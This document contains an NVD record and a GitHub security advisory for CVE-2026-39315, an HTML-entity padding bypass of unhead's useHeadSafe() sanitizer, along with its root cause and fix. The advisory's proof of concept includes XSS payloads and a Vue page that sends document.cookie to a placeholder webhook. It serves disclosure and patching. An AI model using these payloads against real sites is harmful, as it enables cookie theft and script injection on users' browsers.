{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:unjs:unhead:*:*:*:*:*:node.js:*:*",
              "matchCriteriaId": "2B95120E-BF74-4840-A52D-4D2499E8F958",
              "versionEndExcluding": "2.1.13",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Unhead is a document head and template manager. Prior to 2.1.13, useHeadSafe() is the composable that Nuxt\u0027s own documentation explicitly recommends for rendering user-supplied content in \u003chead\u003e safely. Internally, the hasDangerousProtocol() function in packages/unhead/src/plugins/safe.ts decodes HTML entities before checking for blocked URI schemes (javascript:, data:, vbscript:). The decoder uses two regular expressions with fixed-width digit caps. The HTML5 specification imposes no limit on leading zeros in numeric character references. When a padded entity exceeds the regex digit cap, the decoder silently skips it. The undecoded string is then passed to startsWith(\u0027javascript:\u0027), which does not match. makeTagSafe() writes the raw value directly into SSR HTML output. The browser\u0027s HTML parser decodes the padded entity natively and constructs the blocked URI. This vulnerability is fixed in 2.1.13."
    }
  ],
  "id": "CVE-2026-39315",
  "lastModified": "2026-04-14T20:07:35.310",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 6.1,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "LOW",
          "integrityImpact": "LOW",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 2.7,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-04-09T18:17:01.433",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/unjs/unhead/commit/961ea781e091853812ffe17f8cda17105d2d2299"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Product",
        "Release Notes"
      ],
      "url": "https://github.com/unjs/unhead/releases/tag/v2.1.13"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/unjs/unhead/security/advisories/GHSA-95h2-gj7x-gx9w"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/unjs/unhead/security/advisories/GHSA-95h2-gj7x-gx9w"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-184"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "unhead"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-39315"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-09T20:28:05Z",
    "nvd_published_at": "2026-04-09T18:17:01Z",
    "severity": "MODERATE"
  },
  "details": "##EVIDENCE\n\n\u003cimg width=\"1900\" height=\"855\" alt=\"Screenshot_2026-03-25_090729\" src=\"https://github.com/user-attachments/assets/3da93464-1caf-46ca-818f-46f8fe32ab50\" /\u003e\n\u003cimg width=\"1919\" height=\"947\" alt=\"Screenshot_2026-03-25_090715\" src=\"https://github.com/user-attachments/assets/b27b1fc3-fa89-4864-99c9-4e6cff9a4e40\" /\u003e\n\u003cimg width=\"1918\" height=\"925\" alt=\"Screenshot_2026-03-25_090759\" src=\"https://github.com/user-attachments/assets/9b8c94fa-d4f7-412e-ba14-214bc4103f4c\" /\u003e\n\u003cimg width=\"1912\" height=\"812\" alt=\"Screenshot_2026-03-25_090824\" src=\"https://github.com/user-attachments/assets/3a4e1002-8811-453a-b08c-dfd1e42ebcf0\" /\u003e\n\u003cimg width=\"1846\" height=\"409\" alt=\"Screenshot_2026-03-22_090617\" src=\"https://github.com/user-attachments/assets/9a595e13-ed18-464a-9d1a-0bb71dec96c9\" /\u003e\n\n\n| **Disclosed to Vercel H1** | 2026-03-22 (no response after 12 days) |\n| **Cross-reported here** | 2026-04-03 |\n\n---\n\n## Summary\n\n`useHeadSafe()` is the composable that Nuxt\u0027s own documentation explicitly recommends\nfor rendering user-supplied content in `\u003chead\u003e` safely. Internally, the\n`hasDangerousProtocol()` function in `packages/unhead/src/plugins/safe.ts` decodes\nHTML entities before checking for blocked URI schemes (`javascript:`, `data:`,\n`vbscript:`). The decoder uses two regular expressions with fixed-width digit caps:\n\n```js\n// Current \u2014 vulnerable\nconst HtmlEntityHex = /\u0026#x([0-9a-f]{1,6});?/gi\nconst HtmlEntityDec = /\u0026#(\\d{1,7});?/g\n```\n\nThe HTML5 specification imposes **no limit** on leading zeros in numeric character\nreferences. Both of the following are valid, spec-compliant encodings of `:` (U+003A):\n\n- `\u0026#0000000058;` \u2014 10 decimal digits, exceeds the `\\d{1,7}` cap\n- `\u0026#x000003A;` \u2014 7 hex digits, exceeds the `[0-9a-f]{1,6}` cap\n\nWhen a padded entity exceeds the regex digit cap, the decoder silently skips it. The\nundecoded string is then passed to `startsWith(\u0027javascript:\u0027)`, which does not match.\n`makeTagSafe()` writes the raw value directly into SSR HTML output. The browser\u0027s HTML\nparser decodes the padded entity natively and constructs the blocked URI.\n\n\u003e **Note:** This is a separate, distinct issue from CVE-2026-31860 / GHSA-g5xx-pwrp-g3fv,\n\u003e which was an attribute *key* injection via the `data-*` prefix. This finding targets\n\u003e the attribute *value* decoder \u2014 a different code path with a different root cause and\n\u003e a different fix.\n\n---\n\n## Root Cause Analysis\n\n### Vulnerable code (`packages/unhead/src/plugins/safe.ts`, lines 10\u201311)\n\n```js\nconst HtmlEntityHex = /\u0026#x([0-9a-f]{1,6});?/gi   // cap: 6 hex digits max\nconst HtmlEntityDec = /\u0026#(\\d{1,7});?/g             // cap: 7 decimal digits max\n```\n\n### Why the bypass works\n\nThe HTML5 parser specification ([\u00a7 Numeric character reference end state][html5-spec])\nstates that leading zeros in numeric character references are valid and the number of\ndigits is unbounded. A conformant browser will decode `\u0026#x000003A;` as `:` regardless\nof the number of leading zeros.\n\nBecause the regex caps are lower than the digit counts an attacker can supply, the\nentity match fails silently. The raw padded string (`java\u0026#0000000058;script:alert(1)`)\nis passed unchanged to the scheme check. `startsWith(\u0027javascript:\u0027)` returns `false`,\nand the value is rendered into SSR output verbatim. The browser then decodes the entity\nand the blocked scheme is present in the live DOM.\n\n---\n\n## Steps to Reproduce\n\n### Environment\n\n- **Nuxt:** 4.x (current)\n- **unhead:** 2.1.12 (current at time of report)\n- **Node:** 20 LTS\n- **Chrome:** 146+\n\n### Step 1 \u2014 Create a fresh Nuxt 4 project\n\n```bash\nnpx nuxi init poc\ncd poc\nnpm install\n```\n\n### Step 2 \u2014 Replace `pages/index.vue`\n\n```vue\n\u003ctemplate\u003e\n  \u003cdiv\u003e\n    \u003ch1\u003euseHeadSafe bypass PoC\u003c/h1\u003e\n    \u003cp\u003eView page source or run the curl command below.\u003c/p\u003e\n  \u003c/div\u003e\n\u003c/template\u003e\n\n\u003cscript setup\u003e\nimport { useHeadSafe } from \u0027#imports\u0027\n\nuseHeadSafe({\n  link: [\n    // 10-digit decimal padding \u2014 exceeds \\d{1,7} cap\n    { rel: \u0027stylesheet\u0027, href: \u0027java\u0026#0000000058;script:alert(1)\u0027 },\n\n    // 7-digit hex padding \u2014 exceeds [0-9a-f]{1,6} cap\n    { rel: \u0027icon\u0027, href: \u0027data\u0026#x000003A;text/html,\u003cscript\u003ealert(document.cookie)\u003c\\/script\u003e\u0027 }\n  ]\n})\n\u003c/script\u003e\n```\n\n### Step 3 \u2014 Start the dev server and inspect SSR output\n\n```bash\nnpm run dev\n```\n\nIn a separate terminal:\n\n```bash\ncurl -s http://localhost:3000 | grep \u0027\u003clink\u0027\n```\n\n### Expected result (safe)\n\nTags stripped entirely, or schemes rewritten to safe placeholder values.\n\n### Actual result (vulnerable)\n\n```html\n\u003clink href=\"java\u0026#0000000058;script:alert(1)\" rel=\"stylesheet\"\u003e\n\u003clink href=\"data\u0026#x000003A;text/html,\u003cscript\u003ealert(document.cookie)\u003c\\/script\u003e\" rel=\"icon\"\u003e\n```\n\nBoth `javascript:` and `data:` \u2014 explicitly enumerated in the `hasDangerousProtocol()`\nblocklist \u2014 are present in server-rendered HTML. The browser decodes the padded entities\nnatively on load.\n\n---\n\n## Confirmed Execution Path (data: URI via iframe, Chrome 146+)\n\nImmediate script execution from `\u003clink\u003e` tags does not occur automatically \u2014 browsers\ndo not create a browsing context from `\u003clink href\u003e`. The exploitability of this bypass\ntherefore depends on whether downstream application code consumes `\u003clink\u003e` href values.\n\nThis is a **common pattern** in real-world Nuxt applications:\n\n- Head management libraries that hydrate or re-process `\u003clink\u003e` tags on the client\n- SEO and analytics scripts that read canonical or icon link values\n- Application features that preview, validate, or forward link URLs into iframes\n- Developer tooling that loads icon URLs for thumbnail generation\n\nChrome 146+ permits `data:` URIs loaded into iframes even though top-level `data:`\nnavigation has been blocked since Chrome 60. The following snippet \u2014 representative\nof any downstream consumer that forwards `\u003clink href\u003e` into an iframe \u2014 triggers\nconfirmed script execution:\n\n```js\n// Simulates downstream head-management or SEO utility reading a \u003clink\u003e href\nconst link = document.querySelector(\u0027link[rel=\"icon\"]\u0027);\nif (link) {\n  const iframe = document.createElement(\u0027iframe\u0027);\n  iframe.src = link.href; // browser decodes \u0026#x000003A; \u2192 \u0027:\u0027, constructs data: URI\n  document.body.appendChild(iframe); // alert() fires\n}\n```\n\n### Full PoC with cookie exfiltration beacon\n\n\u003e Replace `ADD-YOUR-WEBHOOK-URL-HERE` with a webhook.site URL before running.\n\n```vue\n\u003ctemplate\u003e\n  \u003cdiv\u003e\n    \u003ch1\u003euseHeadSafe padded entity bypass \u2014 full PoC\u003c/h1\u003e\n    \u003cp\u003e\u003cstrong\u003eDummy cookie:\u003c/strong\u003e \u003ccode id=\"cookie-display\"\u003eLoading\u2026\u003c/code\u003e\u003c/p\u003e\n  \u003c/div\u003e\n\u003c/template\u003e\n\n\u003cscript setup\u003e\nimport { useHeadSafe } from \u0027#imports\u0027\nimport { onMounted } from \u0027vue\u0027\n\nonMounted(() =\u003e {\n  document.cookie = \u0027session=super-secret-token-12345; path=/; SameSite=None\u0027\n  const el = document.getElementById(\u0027cookie-display\u0027)\n  if (el) el.textContent = document.cookie\n\n  // Simulate downstream consumption: load the bypassed icon href into an iframe\n  const link = document.querySelector(\u0027link[rel=\"icon\"]\u0027)\n  if (link) {\n    const iframe = document.createElement(\u0027iframe\u0027)\n    iframe.src = link.href\n    iframe.style.cssText = \u0027width:700px;height:400px;border:3px solid red;margin-top:20px\u0027\n    document.body.appendChild(iframe)\n  }\n})\n\nconst webhook = \u0027https://ADD-YOUR-WEBHOOK-URL-HERE\u0027\n\nuseHeadSafe({\n  link: [\n    {\n      rel: \u0027icon\u0027,\n      href: `data\u0026#x000003A;text/html;base64,${btoa(`\n        \u003c!DOCTYPE html\u003e\u003chtml\u003e\u003cbody\u003e\u003cscript\u003e\n          alert(\u0027XSS via useHeadSafe padded entity bypass\u0027);\n          new Image().src = \u0027${webhook}?d=\u0027 + encodeURIComponent(JSON.stringify({\n            finding: \u0027useHeadSafe hasDangerousProtocol bypass\u0027,\n            cookie: document.cookie || \u0027session=super-secret-token-12345 (dummy)\u0027,\n            origin: location.origin,\n            ts: Date.now()\n          }));\n        \u003c\\/script\u003e\u003c/body\u003e\u003c/html\u003e\n      `)}`\n    }\n  ]\n})\n\u003c/script\u003e\n```\n\n**Observed result:**\n\n1. `alert()` fires from inside the iframe\u0027s `data:` document context\n2. Webhook receives a GET request with the cookie value and origin in the query string\n3. Page source confirms `\u0026#x000003A;` is present unescaped in the SSR-rendered `\u003clink\u003e` tag\n\n\u003e All testing was performed against a local Nuxt development environment on a personal\n\u003e machine. Cookie values are dummy data. No production systems were accessed or targeted.\n\n---\n\n## Impact\n\n### 1. Broken security contract\n\nDevelopers who follow Nuxt\u0027s own documentation and use `useHeadSafe()` for untrusted\nuser input have no reliable protection against `javascript:`, `data:`, or `vbscript:`\nscheme injection when that input contains leading-zero padded numeric character\nreferences. The documented guarantee is silently violated.\n\n### 2. Confirmed data: URI escape to SSR output\n\nA fully valid `data:text/html` URI now reaches server-rendered HTML. In applications\nwhere any downstream code reads and loads `\u003clink href\u003e` values (head management\nutilities, SEO tooling, icon preview features), this is **confirmed XSS** \u2014 the payload\npersists in SSR output and executes for every visitor whose browser triggers the\ndownstream consumption path.\n\n### 3. Forward exploitability\n\nIf any navigation-context attribute (e.g. `\u003ca href\u003e`, `\u003cform action\u003e`) is added to the\nsafe attribute whitelist in a future release, this bypass produces **immediately\nexploitable stored XSS** with no additional attacker effort, because the end-to-end\nbypass already works today.\n\n---\n\n## Suggested Fix\n\nRemove the fixed digit caps from both entity regexes. The downstream `safeFromCodePoint()`\nfunction already validates that decoded codepoints fall within the valid Unicode range\n(`\u003e 0x10FFFF || \u003c 0 || isNaN \u2192 \u0027\u0027`), so unbounded digit matching introduces no new\nattack surface \u2014 it only ensures that all spec-compliant encodings of a codepoint are\ndecoded before the scheme check runs.\n\n```diff\n- const HtmlEntityHex = /\u0026#x([0-9a-f]{1,6});?/gi\n- const HtmlEntityDec = /\u0026#(\\d{1,7});?/g\n+ const HtmlEntityHex = /\u0026#x([0-9a-f]+);?/gi\n+ const HtmlEntityDec = /\u0026#(\\d+);?/g\n```\n\n**File:** `packages/unhead/src/plugins/safe.ts`, lines 10\u201311\n\nThis is a minimal, low-risk change. No other code in the call path requires modification.\n\n---\n\n## Weaknesses\n\n| CWE | Description |\n|---|---|\n| **CWE-184** | Incomplete List of Disallowed Inputs |\n| **CWE-116** | Improper Encoding or Escaping of Output |\n| **CWE-20** | Improper Input Validation |\n\n---\n\n## References\n\n| Source | Link |\n|---|---|\n| HTML5 spec \u2014 leading zeros valid and unbounded | https://html.spec.whatwg.org/multipage/syntax.html#numeric-character-reference-end-state |\n| GHSA-46fp-8f5p-pf2c \u2014 Loofah `allowed_uri?` bypass (same root cause, accepted CVE) | https://github.com/advisories/GHSA-46fp-8f5p-pf2c |\n| CVE-2026-26022 \u2014 Gogs stored XSS via `data:` URI sanitizer bypass (same class) | https://advisories.gitlab.com/pkg/golang/gogs.io/gogs/CVE-2026-26022/ |\n| OWASP XSS Filter Evasion \u2014 leading-zero entity encoding | https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html |\n| Chrome: `data:` URIs blocked for top-level navigation since Chrome 60; permitted in iframes | https://developer.chrome.com/blog/data-url-deprecations |\n| Prior unhead advisory (different code path, context only) | GHSA-g5xx-pwrp-g3fv / CVE-2026-31860 |\n| Affected file | https://github.com/unjs/unhead/blob/main/packages/unhead/src/plugins/safe.ts |",
  "id": "GHSA-95h2-gj7x-gx9w",
  "modified": "2026-04-09T20:28:05Z",
  "published": "2026-04-09T20:28:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/unjs/unhead/security/advisories/GHSA-95h2-gj7x-gx9w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39315"
    },
    {
      "type": "WEB",
      "url": "https://github.com/unjs/unhead/commit/961ea781e091853812ffe17f8cda17105d2d2299"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/unjs/unhead"
    },
    {
      "type": "WEB",
      "url": "https://github.com/unjs/unhead/releases/tag/v2.1.13"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Unhead has a hasDangerousProtocol() bypass via leading-zero padded HTML entities in useHeadSafe()"
}